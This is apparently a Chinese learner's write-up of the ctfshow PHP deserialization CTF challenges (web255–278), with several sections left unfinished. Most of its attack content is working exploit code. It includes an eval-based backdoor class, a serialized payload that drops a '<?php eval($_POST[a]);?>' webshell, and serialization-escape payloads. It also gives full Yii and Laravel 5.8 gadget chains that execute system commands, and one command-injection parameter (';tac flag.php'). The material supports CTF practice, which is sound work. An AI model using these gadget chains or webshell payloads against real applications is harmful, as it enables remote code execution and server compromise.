ctfshow unserialize

开始反序列化

web255

是从cookie中unserialize得到实例,考虑修改cookie中键user的值

$result = urlencode(serialize(new ctfShowUser()));

为何需要url编码呢,不url编码也能成。url编码是对称加密,编码也不影响

web256

考察!==不完全等于,两端不一样为true,相同为false

web257

类内部变量class指向类info

考虑将class指向类backdoor

在类backdoor中RCE

<?php
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code= 'eval($_POST[1]);';
    public function getInfo(){
        eval($this->code);
    }
}


$cup =  urlencode(serialize(new ctfShowUser()));
echo PHP_EOL;
echo serialize(new ctfShowUser());

web258

正则过滤O:数字,将数字前面添一个+号

public $code='eval($_POST[1]);';

因为eval本身是一条php语句,引号内的结尾要使用分号

具体可看序列化的c源码

正则为何是过滤O:数字呢

if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user']))

web259

php中,如果调用的一个方法在类中不存在,则调用__call魔术方法

原生类的ssrf

通过SoapClient对象

通过php发送网络请求

结合了ssrf

鸽先

web260

字符串序列化结果是它本身

preg_match 是要串中命中就成

web261

0x36d 是877,涉及弱类型比较

如果出现877或877a都会成立

如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略

这两个方法是关于在反序列化时被触发

__invoke是关于类被当作一个函数调用时触发,比如

php 复制代码
class MyCallable {
    public function __invoke($param) {
        echo "Called with parameter: $param\n";
    }
}

$obj = new MyCallable();
$obj("Hello"); // 这里会调用 __invoke() 方法

__sleep在序列化时调用

__unserialize在序列化时调用,将给$code赋值

反序列化对象,new一个对象出来,利用它的构造,获得它的序列化字符串

O%3A10%3A%22ctfshowvip%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A8%3A%22877a.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5Ba%5D%29%3B%3F%3E%22%3Bs%3A4%3A%22code%22%3BN%3B%7D

web262

反序列化逃逸注入

预期解

php 复制代码
<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$obj = new message('fuck','b','c');

function filter($obj){
    return str_replace('fuck', 'loveU', $obj);
}

$objSer = serialize($obj);
echo $objSer;
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}


echo PHP_EOL;
$objSerFil = filter($objSer);
echo $objSerFil;
//O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}

//could flee
//";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}

//fix it to
//";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}

//payload(62 char)
//";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}

echo PHP_EOL;
$objHack = new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');
echo serialize($objHack);

$answer = 'O:7:"message":4:{s:4:"from";s:310:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}';
$answer = filter($answer);

echo PHP_EOL;
var_dump(unserialize($answer));
//it works

echo PHP_EOL;
echo base64_encode($answer);

在目标串中,把短串替换长串,就会造成逃逸,长串与短串的长度的差,就是逃逸的机会。将短串重复若干多次,就能达到逃逸几十个字符个数的反序列化

逃逸的情况就是这样,有些耐心就能做出来

那么,在这个题目中,注释部分的提示

php 复制代码
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

为什么暴露了message.php这个文件,而有些情况message.php还可传参?比如本题中,传入cookie可以new一个序列化的base64 message对象进去,后端也能读到cookie中的payload

web263

ctf中一般的源码泄漏是www.zip

ini_set('session.serialize_handler','php')

include('inc/inc.php');

在php泄漏的源码中没有,但是在服务器中有

这题有点复杂,晚点写

涉及php的一个设置

ini_set('session.serialize_handler','php')

ini_set('session.serialize_handler','php_serialize')

web264

是反序列化逃逸,属于变长类型,耐心即可

信息写到session中

php 复制代码
<?php

class message{
    public $from;
    public $msg;
    public $to;
    public $token='admin';//original is 'user', I change it to 'admin'
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$msg = new message('a','b','fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');

function filter($msg){
    return str_replace("fuck","loveU",serialize($msg));
}

$msg_1 = filter($msg);

echo $msg_1;
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:4:"loveU";s:5:"token";s:5:"admin";}
//payload:";s:5:"token";s:5:"admin";}(27chars)
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:108:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:5:"admin";}

var_dump(unserialize($msg_1));

web265

"我怎么感觉这个wp越来越像教程了,居然还用了画笔"--from video

有点意思,通过引用,tocken咋变值password就咋变

php 复制代码
<?php

//error_reporting(0);
//include('flag.php');
//highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = &$this->token;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$admin = new ctfshowAdmin('123','123');

echo serialize($admin);

以下为题目

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

web266

(在线靶场启用了https)

(搞一下burpsuite)

(https://www.cnblogs.com/a-wyw/p/16277571.html)

(https://cloud.tencent.com/developer/article/1391501)

反序列化

恶意破坏反序列化的结构,但不破坏类名

反序列化异常但是还是会执行类的销毁方法

payload: O:7:"ctfshow":2:{ctfshow} 使用post方法

有趣的是,这题传值使用file_get_contents('php://input');通过post直接传值

使用hackbar失败,需要抓包修改后放行

web267

yii反序列化poc

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'phpinfo';
            $this->id = '1';				//命令执行
        }
    }
}
namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['close'] = [new IndexAction(), 'run'];
        }
    }
}
namespace yii\db{

    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader=new Generator();
        }
    }
}
namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

rce 中 system 被 ban, 用shell_exe()

没能成,不知道为啥

中间几道题是YII的pop链,晚点作

web271

Laravel的链子5.8(将不同的链子做成工具会比较方便)

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        protected $command;
        protected $parameters;
        protected $app;
        public $test;
        public function __construct($command, $parameters,$class,$app){
            $this->command = $command;
            $this->parameters = $parameters;
            $this->test=$class;
            $this->app=$app;
        }
    }
}
namespace Illuminate\Auth{
    class GenericUser{
        protected $attributes;
        public function __construct(array $attributes){
            $this->attributes = $attributes;
        }
    }
}
namespace Illuminate\Foundation{
    class Application{
        protected $hasBeenBootstrapped = false;
        protected $bindings;
        public function __construct($bind){
            $this->bindings=$bind;
        }
    }
}
namespace{
    $genericuser = new Illuminate\Auth\GenericUser(
        array(
            "expectedOutput"=>array("0"=>"1"),
            "expectedQuestions"=>array("0"=>"1")
        )
    );
    $application = new Illuminate\Foundation\Application(
        array(
            "Illuminate\Contracts\Console\Kernel"=>
                array(
                    "concrete"=>"Illuminate\Foundation\Application"
                )
        )
    );
    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand(
        "system",array('cat /flag'),
        $genericuser,
        $application
    );
    echo urlencode(serialize($pendingcommand));
}
?>

web272

还是Laravel

换一条链子

<?php
namespace Illuminate\Broadcasting{

    use Illuminate\Bus\Dispatcher;
    use Illuminate\Foundation\Console\QueuedCommand;

    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct(){
            $this->events=new Dispatcher();
            $this->event=new QueuedCommand();
        }
    }
}
namespace Illuminate\Foundation\Console{

    use Mockery\Generator\MockDefinition;

    class QueuedCommand
    {
        public $connection;
        public function __construct(){
            $this->connection=new MockDefinition();
        }
    }
}
namespace Illuminate\Bus{

    use Mockery\Loader\EvalLoader;

    class Dispatcher
    {
        protected $queueResolver;
        public function __construct(){
            $this->queueResolver=[new EvalLoader(),'load'];
        }
    }
}
namespace Mockery\Loader{
    class EvalLoader
    {

    }
}
namespace Mockery\Generator{
    class MockConfiguration
    {
        protected $name="feng";
    }
    class MockDefinition
    {
        protected $config;
        protected $code;
        public function __construct()
        {
            $this->code="<?php system('cat /flag');exit()?>";
            $this->config=new MockConfiguration();
        }
    }
}

namespace{

    use Illuminate\Broadcasting\PendingBroadcast;

    echo urlencode(serialize(new PendingBroadcast()));
}

web273

同web272,通杀属于是,链子继续用

总结以下框架的发序列化链子怎么用

就是收集链子,根据框架的指纹判断种类和版本

web274

没找到链子捏

web275

?fn=php;tac flag.php

题目

php 复制代码
highlight_file(__FILE__);

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile){
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

是个RCE

一般情况,传个get参数,直接被当成文件名删掉

尝试进入system命令执行,使用分号执行命令

不难

web276

利用phar

写脚本竞争读写,拿到flag

没懂

web277

flask 的python反序列化

没懂

web278

flask 的python 反序列化

没学

总结一下

就是啥也不会,啥也不是

啥也没学

做了题也是菜中菜

相关推荐
秦jh_2 分钟前
【Linux】多线程(概念,控制)
linux·运维·前端
汤米粥28 分钟前
小皮PHP连接数据库提示could not find driver
开发语言·php
秀儿还能再秀1 小时前
机器学习——简单线性回归、逻辑回归
笔记·python·学习·机器学习
扣得君1 小时前
C++20 Coroutine Echo Server
运维·服务器·c++20
keep__go1 小时前
Linux 批量配置互信
linux·运维·服务器·数据库·shell
矛取矛求1 小时前
Linux中给普通账户一次性提权
linux·运维·服务器
Fanstay9851 小时前
在Linux中使用Nginx和Docker进行项目部署
linux·nginx·docker
大熊程序猿2 小时前
ubuntu 安装kafka-eagle
linux·ubuntu·kafka
阿_旭2 小时前
如何使用OpenCV和Python进行相机校准
python·opencv·相机校准·畸变校准
jieshenai2 小时前
使用VSCode远程连接服务器并解决Neo4j无法登陆问题
服务器·vscode·neo4j